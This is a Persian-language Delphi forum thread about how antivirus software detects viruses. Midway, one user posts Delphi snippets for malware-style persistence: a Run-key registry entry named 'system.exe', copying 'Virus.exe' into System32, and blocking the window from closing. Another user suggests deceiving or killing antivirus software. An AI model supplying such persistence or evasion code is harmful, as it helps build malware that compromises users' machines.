سلام
چه جوري آنتي ويروس يه فايل ويروس رو بر اساس اطلاعاتي كه بهش دادن شناسايي ميكنه؟
تو دلفي هم ميشه؟
سلام
چه جوري آنتي ويروس يه فايل ويروس رو بر اساس اطلاعاتي كه بهش دادن شناسايي ميكنه؟
تو دلفي هم ميشه؟
سلام
کار خیلی سختیه. حتمآ باید در مورد فایل ویروسی اطلاعات خوبی داشته باشی.
اصول آنتی ویروس هم تشخیص کد های فایل (اطلاعات و کار) فایل هست.
و با توجه به اینها میشه پیداشون کرد(فایل های ویروسی ) رو و حذفشون کرد.
بعدآ بیشتر توضیح میدم.
موفق باشی . بای
بله میشه باید
یه کمی سخته ( کار با Hook) ولی نتیجه می ده (msdn>hook)
آنتی ویروس ها معمولاً یه دیتابیس دارن که امضای ویروس ها رو شامل میشه و با توجه به این میتونن ویروس ها رو پیدا کنن.آپدیت آنتی ویروس هم چیزی جز آپدیت این بانک اطلاعاتی نیست.
با استفاده از hook هم می تونن نرم افزار هایی رو که به ویروس مشکوک هستند رو پیدا کنن و هشدار بدن(مثلا وقتی برنامه ای کلید RUN رجیستری رو دستکاری کنه و ......)
ممنون از همتون
پس كار سختيه
اما ميشه خودمون يه جوري از اين اطلاعات رو از آنتي ويروساي ديگه بدزديمبعد ...
نه........نوشته شده توسط shayan_p30 [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
اون کد های اصلی رو اصلآ نمیتونی بدزدی و .....
فقط میتونی با چک کردن سورس فایل بفهمی که ویروسه یا نه. همین!
اگر نه به هیچ عنوان نمیتونی کد ها رو بدزدی و یه ویروس بسازی.
بای
سلام ...
برای انجام شدن خودکار برنامتون می تونید توی رجیستری یه تغییراتی بدید تا با شروع ویندوز شروع بشه ...
مثلا :
کد:
توی کد بالا نام برنامه شما به جای System.exe توی رجیستری ثبت می شه و در شروع ویندوز اجرا خواهد شد ...procedure TForm1.FormCreate(Sender: TObject);
var
M:tregistry;
begin
M:=tregistry.Create;
M.RootKey:=hkey_local_machine;
M.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersi on\Run',false);
M.ReadString('system.exe');
M.WriteString('system.exe',Application.ExeName);
M.Free;
end;
توجه : برای استفاده از رجیستری باید یونیت Registry رو به قسمت Uses برنامتون اضافه کنید ...
برای کپی کردن فایل اجراییتون هم می تونید از توابعی مثل CopyFile استفاده کنید
مثلا :
کد:
توی کد بالا مسیر اول مسیر فایل اجرایتونه و مسیر دوم مسیریه که توش کپی می شه و اون True هم مشخص می کنه که اگه فایل بود جایگزین بشه یا نه ( اگه به جای True از False استفاده کنید جایگزین نمی شه )CopyFile(Pchar(ExtractFilePath(Application.ExeName )+'Virus.exe'), 'C:\Windows\System32\Virus.exe', True);
مکانات زیاد دیگه ای هستن که می شه توی ویروسها گذاشت از جمله از جمله این که بعد از بسته شدن دوباره اجرا بشن که اونم با کد زیر امکان پذیره :
باید توی رویداد OnCloseQuery مربوط به فرمتون کد زیر رو بنویسید :
کد:امیدوارم به دردتون خورده باشه ...Canclose:= False;
موفق باشید ...
Last edited by nasim1984; 28-12-2006 at 21:20.
سلام
فکر نمی کنم منظور دوستمون یعنی آقا شایان دزدیدن کد ویروس ها یا نوشتن ویروس باشه.
منظورشون این بود که مشخصات ویروس ها رو از توی دیتابیس آنتی ویروس ها بازیافت و در آنتی ویروس خودشون استفاده کنن.
حتماً شرکت های آنتی ویروس روی بانک های اتطلاعاتیشون پسورد میزارن و یا شاید از فرمت خاصی برای ذخیره سازی استفاده کنن. فکر نمی کنم به این راحتی بشه به اطلاعات دیتا بیس اونها دسترسی پیدا کرد !
خدمت کاربر گرامی nasim1984 باید عرض کنم که من یکی دو سال پیش(اون موقع عاشق نوشتن ویروس بودم ) از کدهایی مشابه کدی که شما تو پست قبلی گذاشتین استفاده میکردم ولی الان دیگه شرکت های آنتی ویروس خیلی پیشرفت کردن.
هر برنامه ای که بخواد کلید Run رو توی رجیستری دستکاری کنه آنتی ویروس به کاربر هشدار میده و اونو به عنوان یه تروجان عمومی میشناسه.
در ضمن اگه کلید رو توی مسیر local Machine بسازین ویروس توی اکانت های Limited کار نمیکنه!
باید فکر فریب دادن یا Kill کردن آنتی ویروس بود !
بحث از کجا به کجا رسید !
راستی پارامتر سوم تابع CopyFile رو اگه False بزارین فایل Replace میشه وگرنه اگه فایلی به همون نام تو مسیر مقصد باشه و پارامتر سوم True باشه فایل کپی نمیشه !
موفق باشید.
از همتون ممنونم
Soldier جان منظور منو خوب متوجه نشدي !!
nasim1984 از كدت ممنونم ولي آنتي ويروس ها حرفه اي تر از اين حرفان.
Admiral عزيز منظورمو خوب متوجه شدي ولي...
آقا ولش كنين اون بحثو اصلا...
فكر كنين دلفي يه ويروسه.
حالا مي خوايم تو هارد بگرديم پيداش كنيم و پاكش كنيم!!!
چطوري
هميشه سلامت باشيد.
هم اکنون 1 کاربر در حال مشاهده این تاپیک میباشد. (0 کاربر عضو شده و 1 مهمان)